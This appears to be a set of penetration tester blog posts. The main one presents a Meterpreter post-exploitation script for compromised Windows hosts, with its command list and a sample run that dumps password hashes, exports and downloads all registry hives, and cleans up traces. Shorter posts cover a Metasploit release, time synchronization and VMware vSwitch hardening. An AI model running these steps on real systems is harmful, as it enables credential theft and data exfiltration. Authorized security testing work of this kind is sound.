Meterpreter Windows Local Enumeration Script

I recently wrote a small script for local enumeration of a compromised hosts using windows native command line tools from meterpreter so as to comply with many rules of egagements that many companies have of not installing software on their servers. The script will run the following commands:
Executing:

  • set
  • arp -a
  • ipconfig /all
  • ipconfig /displaydns
  • route print
  • net view
  • netstat -na
  • netstat -ns
  • net share
  • net view
  • net group
  • net user
  • net localgroup
  • net view /domain
  • netsh firewall show config
  • wmic computersystem list
  • wmic useraccount list
  • wmic group
  • wmic service list brief
  • wmic volume list brief
  • wmic process list brief
  • wmic startup list full
  • wmic qfe
  • Run meterpreter hashdump
  • export, compress and download all registry hives
and generate a text file with all the output of the commands and compress cabfiles of the exported registry hives, specially useful the last part if done remotely across the Internet. I wrote the script so that new commands can be easily added. The script has to be placed in the scripts/meterpreter/ folder in the root of the metasploit folder so to be able to use it.
you can download it from

/winenum.rb.tar.gz

sample run:

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script by Darkoperator
[*] New session on 10.10.10.7:1249...
[*] Executing: set
[*] Executing: arp -a
[*] Executing: ipconfig /all
[*] Executing: ipconfig /displaydns
[*] Executing: route print
[*] Executing: net view
[*] Executing: netstat -na
[*] Executing: netstat -ns
[*] Executing: net share
[*] Executing: net view
[*] Executing: net group
[*] Executing: net user
[*] Executing: net localgroup
[*] Executing: net view /domain
[*] Executing: netsh firewall show config
[*] Executing: wmic computersystem list
[*] Executing: wmic useraccount list
[*] Executing: wmic group
[*] Executing: wmic service list brief
[*] Executing: wmic volume list brief
[*] Executing: wmic process list brief
[*] Executing: wmic startup list full
[*] Executing: wmic qfe
[*] Downloading WDSRB.txt to -> /tmp/10.10.10.7_20081123.390899982
[*] Dumping password hashes...
[*] Exporting HKCU
[*] Compressing HKCU into cab file for faster download
[*] Exporting HKLM
[*] Compressing HKLM into cab file for faster download
[*] Exporting HKCC
[*] Compressing HKCC into cab file for faster download
[*] Exporting HKCR
[*] Compressing HKCR into cab file for faster download
[*] Exporting HKU
[*] Compressing HKU into cab file for faster download
[*] Downloading HKCU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCU
[*] Downloading HKLM.cab to -> /tmp/10.10.10.7_20081123.390899982-HKLM
[*] Downloading HKCC.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCC
[*] Downloading HKCR.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCR
[*] Downloading HKU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKU
[*] Removing anything we left behind...
[*] Done!
meterpreter >

Metasploit 3.2 Officialy Out

Well as many of you know Metasploit is one of my favority tools in my toolbox and I'm glad to announce that version 3.2 is officialy out and no loger in beta status. The Release Notes mention several changes in DLL injection, IPv6 Support, Meterprete, WMAP (wich I have covered before), Karmetasploit (wich I have coverd), changes in msfpaylod and many other. Go and Download the new version and give it a run. 

Time Synchronization

I'm very surprise that almost all of the clients I have worked at do not implement time synchronization of their servers and network equipment. This makes analyzing logs in an incident response and even for troubleshooting a headache. Many times what I recommend is using the Cisco router at each site as the time server for the site and have those sync with a central router. In virtual environments this becomes even more important since in heavy load the time in virtual machines will shift this why many times the DC with the PDC Master role is not virtualized or the virtualization tools on the VM's is set to force time synchronization.

VMWare ESX Virtual Switch Security

One of the things I like about VMWare ESX is the security in their Layer 2 Virtual Swicthes. They will not permit them be joined together so loops is not an issue and they let you apply 3 policy settings to secure the vSwitches this are:

This settings will prevent the virtual machines that use the switch from acting as a sniffer, changing their mac address or forging traffic with fake mac address thous protecting the rest of the virtual machines in the case of a compromise of a VM from it being used to conduct Man In the Middle Attacks, ARP Poison Attacks or being used to sniff traffic. To set the Policy on Reject on a virtual switch it can be done both from the Service Console or thru the VI Client. On the VI Client:

  1. Log into the VMware VI Client and select the server from the inventory panel.The hardware configuration page for this server appears.
  2. Click the Configuration tab, and click Networking.
  3. Click Properties for the vSwitch whose Layer 2 Security policy you want to edit.
  4. In the Properties dialog box for the vSwitch, click the Ports tab.
  5. Select the vSwitch item and click Edit.
  6. In the Properties dialog box for the vSwitch, click the Security tab.
  7. Select reject on the drpdown boxes for all 3 Policy Exceptions.
  8. Click OK
From the CLI just SSH into the Server and su to have root privilege and run

  • vmware-vim-cmd hostsvc/net/vswitch_setpolicy --securepolicy-macchange=false
  • vmware-vim-cmd hostsvc/net/vswitch_setpolicy --securepolicy-forgedxmit=false
Promiscuous is already set to reject by default.